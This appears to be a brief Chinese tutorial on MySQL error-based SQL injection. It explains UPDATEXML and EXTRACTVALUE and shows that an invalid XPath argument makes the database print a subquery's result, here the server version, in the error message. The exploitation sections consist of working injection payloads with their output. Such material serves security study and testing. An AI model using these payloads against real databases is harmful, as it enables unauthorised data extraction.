updatexml 与 extractvalue 报错注入

updatexml

updatexml 介绍

UPDATEXML (XML_document, XPath_string, new_value); 
  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串) 。
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

利用

UPDATEXML 第二个参数需要Xpath格式的字符串如果不符合要求则会报错:

mysql> select updatexml(1,concat(0x3a,(select @@version),0x3a),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.7.24-0ubuntu0.16.04.1:'

extractvalue

extractvalue 介绍

EXTRACTVALUE (XML_document, XPath_string); 
  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串)

作用:从目标XML中返回包含所查询值的字符串。

利用

UPDATEXML 相同, 第二个参数需要Xpath格式的字符串如果不符合要求则会报错:

mysql> select extractvalue(1,concat(0x3a,(select @@version),0x3a));
ERROR 1105 (HY000): XPATH syntax error: ':5.7.24-0ubuntu0.16.04.1:'